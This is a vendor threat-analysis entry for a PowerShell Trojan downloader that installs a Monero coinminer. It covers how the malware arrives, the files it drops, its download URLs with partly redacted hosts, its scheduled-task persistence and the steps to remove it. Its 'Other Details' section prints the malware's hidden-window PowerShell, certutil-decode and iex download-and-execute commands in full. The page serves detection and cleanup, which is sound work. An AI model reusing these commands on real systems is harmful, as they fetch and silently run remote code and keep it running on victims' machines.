Analysis by: Patrick Angelo Roderno
ALIASES:

HEUR:Trojan-Downloader.PowerShell.Miner.gen (KASPERSKY); Trojan-Downloader.PowerShell (IKARUS); Trojan-Downloader.PowerShell.Miner.a (JIANGMIN)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 4,514 bytes
Memory Resident: No
Initial Samples Received Date: 29 May 2019
Payload: Connects to URLs/IPs, Downloads files, Deletes files, Exploits vulnerability

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops a copy of itself in the following folders using different file names:

  • %User Profile%\update.ps1

(Note: %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Trojan deletes the following files:

  • %User Temp%\update.ps1 -> older version of itself
  • %User Profile%\update.ps1 -> older version of itself

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Download Routine

This Trojan downloads an updated copy of itself from the following website(s):

  • http://{BLOCKED}.{BLOCKED}.199.167:1012/update.ps1

It connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}rain.com/api/file/bg2Fh-d_
  • http://{BLOCKED}.{BLOCKED}.199.167:1012/sysupdate.exe
  • https://{BLOCKED}rain.com/api/file/DF1zsieq1
  • http://{BLOCKED}.{BLOCKED}.199.167:1012/config.json
  • https://{BLOCKED}rain.com/api/file/TyodGuTm
  • http://{BLOCKED}.{BLOCKED}.199.167:1012/networkservice.exe
  • https://{BLOCKED}rain.com/api/file/cGsOoTyb
  • http://{BLOCKED}.{BLOCKED}.199.167:1012/sysguard.exe
  • https://{BLOCKED}rain.com/api/file/cGsOoTyb/wujnEh-n1
  • http://{BLOCKED}.{BLOCKED}.199.167:1012/clean.bat

It saves the files it downloads using the following names:

  • %User Temp%\update.ps1 -> copy of itself
  • %User Temp%\sysupdate.exe -> detected as Coinminer.Win64.TOOLXMR.SMA
  • %User Temp%\config.json
  • %User Temp%\networkservice.exe
  • %User Temp%\sysguard.exe
  • %User Temp%\clean.bat

Other Details

This Trojan does the following:

  • It arrives by taking advantage of the following vulnerability:
  • It arrives as payload of the following command:
    • powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%cert.cer (New-Object Net.WebClient).DownloadString('http://{BLOCKED}.{BLOCKED}.28.187:1012/cert.cer'); certutil -decode %APPDATA%cert.cer %APPDATA%update.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%update.ps1 & start /b cmd /c del %APPDATA%cert.cer
  • The contents of the certificate file cert.cer (currently detected as Coinminer.Win32.MALXMR.TIAOODCJ.component) is an encoded command which, when executed, leads to the execution of this Trojan.
    • Decoded command: iex(New-Object Net.WebClient).DownloadString('http://{BLOCKED}.{BLOCKED}.199.167:1012/update.ps1')

It adds the following scheduled tasks:

  • Task Name: Update service for Windows Service
    Trigger: Every 30 mins
    Action: PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File $HOME\update.ps1

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.142.04
FIRST VSAPI PATTERN DATE: 30 May 2019
VSAPI OPR PATTERN File: 15.143.00
VSAPI OPR PATTERN Date: 31 May 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Trojan.PS1.MALXMR.MPA

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\sysupdate.exe
  • %User Temp%\config.json
  • %User Temp%\networkservice.exe
  • %User Temp%\sysguard.exe
  • %User Temp%\clean.bat
  • %User Temp%\update.ps1
  • %User Profile%\update.ps1
  • %Application Data%\cert.cer

Step 5

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Update service for Windows Service - PowerShell.exe -ExecutionPolicy bypass -windowstyle hidden -File $HOME\update.ps1

For Windows 2000, Windows XP, and Windows Server 2003:

  1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
    System Tools>Scheduled Tasks.
  2. Locate each {Task Name} values listed above in the Name column.
  3. Right-click on the said file(s) with the aforementioned value.
  4. Click on Properties. In the Run field, check for the listed {Task to be run}.
  5. If the strings match the list above, delete the task.

For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

  1. Open the Windows Task Scheduler. To do this:
    • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
    • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
  2. In the left panel, click Task Scheduler Library.
  3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
  4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
  5. If the said string is found, delete the task.

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.PS1.MALXMR.MPA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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